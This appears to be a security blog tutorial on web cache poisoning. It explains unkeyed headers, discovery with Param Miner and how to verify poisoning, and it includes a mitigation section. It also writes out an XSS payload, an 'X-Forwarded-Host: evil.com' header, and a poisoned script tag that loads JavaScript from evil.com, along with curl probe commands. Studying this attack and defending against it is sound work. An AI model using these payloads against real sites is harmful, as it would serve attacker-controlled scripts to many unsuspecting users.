Listen to this Post
Introduction:
Web cache poisoning is a sophisticated attack technique where malicious actors exploit caching mechanisms to serve harmful content to unsuspecting users. At the heart of this vulnerability often lie “unkeyed” parameters—inputs that influence server responses but are ignored by the cache when determining if a request is identical to a cached one. This discrepancy allows attackers to inject malicious payloads that get stored and distributed from the cache, potentially leading to widespread cross-site scripting (XSS), defacement, or open redirects.
Learning Objectives:
- Understand the critical role of cache keys and the danger of unkeyed parameters in web application architecture.
- Learn to use automated tools like Param Miner to systematically discover these hidden input vectors.
- Master the methodology for constructing and deploying a successful web cache poisoning attack, from detection to exploitation.
You Should Know:
- The Anatomy of a Web Cache: Keys and Unkeyed Parameters
Web caches work by storing responses to specific requests to improve performance. The “cache key” is the set of request components (like the URL path, specific headers, or parameters) the cache uses to determine if two requests are identical and should receive the same cached response. An “unkeyed” parameter is an input (e.g., a header like `X-Forwarded-Host` or a query parameter) that the backend server processes and uses to generate a response, but which is not part of the cache key. This creates a dangerous window of opportunity.
Step-by-Step Guide:
- Step 1: Conceptual Understanding. When a cache receives a request, it first checks its store for a response matching the cache key. If found, it serves the cached response without contacting the backend. An unkeyed parameter allows an attacker to send a request `A` with a malicious payload in an unkeyed header. The server processes it, generates a poisoned response, and the cache stores it under key
K. When a normal user sends request `B` with the same key `K` (but without the malicious header), they receive the poisoned version.
2. Discovering Unkeyed Parameters with Param Miner
Param Miner is a Burp Suite extension that bruteforces requests with a massive list of headers and parameters to identify which ones are unkeyed and affect the server’s response without changing the cache key.
Step-by-Step Guide:
- Step 1: Installation. Within Burp Suite, go to the `Extender` tab, then
Bazaar. Search for “Param Miner” and clickInstall. - Step 2: Passive Scanning. The extension automatically works in the background, but for active discovery, right-click a request in the `Proxy` tab, navigate to `Extensions` -> `Param Miner` ->
Guess (params|headers). - Step 3: Analyze Results. Param Miner will issue numerous requests. Watch for differences in the responses. A successful hit will be an input that changes the server’s response (e.g., reflected in the HTML or in a header like
Location) but does not result in a cache MISS, indicating it’s unkeyed.
3. Crafting the Poisoning Payload
Once an unkeyed parameter is identified, the next step is to craft a payload that will be stored in the cache and harm users.
Step-by-Step Guide:
- Step 1: Choose Your Attack Vector. Common vectors include:
- XSS: Inject a script tag. If the parameter value is reflected unsanitized, use:
"><script>alert(document.domain)</script>. - Open Redirect: Poison a `Location` header or a parameter that controls redirects. Use a header like
X-Forwarded-Host: evil.com. - Defacement: Modify page content by injecting HTML.
- Step 2: Test the Payload. Send a request containing your malicious payload in the unkeyed parameter. Verify in the response that your payload is present and active.
4. Poisoning the Cache and Serving to Victims
This is the culmination of the attack, where the poisoned response is stored and served.
Step-by-Step Guide:
- Step 1: Force Cache Storage. Caches may have specific rules. You might need to add a cache-buster parameter (a random value in a keyed parameter) to ensure your request is passed to the backend and not served from a pre-existing cache. Example:
/path?cachebuster=12345&original_param=value. - Step 2: Verify Poisoning. After sending your poisoned request, immediately send a “clean” request without the unkeyed malicious header but with the same cache key. If you receive your poisoned response, the attack was successful. The cache is now serving your malicious content to all users who make a request with that cache key.
5. Advanced Exploitation: Chaining with Other Vulnerabilities
Web cache poisoning is rarely a standalone critical flaw but becomes devastating when chained with other common issues.
Step-by-Step Guide:
- Step 1: Identify a Partner Vulnerability. A common partner is improper `Host` header handling. If the application uses the `X-Forwarded-Host` header to generate absolute URLs but doesn’t validate it, you can poison the cache to point JavaScript resources or API endpoints to your own server.
- Step 2: Craft the Chain. Suppose you find an unkeyed `X-Forwarded-Host` header. Your payload could be
evil.com. The server might then generate a tag like:<script src="https://evil.com/static/valid.js"></script>. Anyone receiving the poisoned page will now execute your malicious JavaScript fromevil.com.
6. Defensive Measures: Mitigating Cache Poisoning Attacks
Protecting your application requires a multi-layered approach focusing on the cache, the application, and its configuration.
Step-by-Step Guide:
- Step 1: Audit Cache Configuration. Scrutinize what components form your cache key. Ensure all user-influenced inputs that affect the response are included. Avoid using headers like `X-Forwarded-For` or `X-Forwarded-Host` unless absolutely necessary and properly validated.
- Step 2: Sanitize All Inputs. Treat all HTTP headers and parameters as untrusted. Implement strict allow-lists for input validation and always encode output to prevent XSS.
- Step 3: Security Headers. Implement a strict `Content-Security-Policy (CSP)` to significantly reduce the impact of successful XSS injections, even from a poisoned cache.
7. Manual Testing with cURL Commands
While tools are efficient, understanding the manual process is crucial for thorough testing.
Step-by-Step Guide:
- Step 1: Probe for Unkeyed Headers. Use cURL to send a request with a suspicious header and check the response.
First, get a baseline response curl -s -o baseline.html http://example.com/path Then, send a request with an unkeyed header candidate curl -s -o test.html -H "X-Forwarded-Host: evil.com" http://example.com/path Compare the two files diff baseline.html test.html
If `diff` shows changes, `X-Forwarded-Host` influences the response.
- Step 2: Check Cache Behavior. This is more complex and often requires analyzing cache-specific headers, but the core logic of comparing responses with and without the parameter remains.
What Undercode Say:
- The core vulnerability is not the cache itself, but a mismatch between what the application uses to generate a page and what the cache uses to identify it.
- Automated discovery with tools like Param Miner is essential for both attackers and defenders, as the sheer number of potential unkeyed inputs makes manual testing impractical.
Analysis:
Web cache poisoning represents a critical threat to modern web applications precisely because it amplifies the impact of what might otherwise be a low-severity issue. A simple unvalidated header, harmless in a single user’s session, becomes a weapon of mass compromise when served to hundreds or thousands of users via a poisoned cache. Defending against it requires a paradigm shift—developers and security teams must think not only about how user input affects the immediate response but also how it interacts with the entire delivery chain, including intermediaries like CDNs and reverse proxies. The integrity of the cached content is as important as the integrity of the source application.
Prediction:
The prevalence of web cache poisoning attacks will sharply increase as application architecture becomes more complex, relying heavily on CDNs, load balancers, and layered caches for performance. This complexity inherently expands the attack surface, creating more opportunities for misconfigurations and unkeyed parameter vulnerabilities. As automated tools like Param Miner become more integrated into standard penetration testing workflows, the discovery of these flaws will become more common. In the future, we can expect to see cache poisoning chained with more sophisticated attacks, potentially targeting cloud metadata services or API endpoints, leading to broader data breaches and systemic compromises. Proactive cache auditing and secure-by-default configurations will transition from a best practice to a non-negotiable security requirement.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Arshad Khan – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
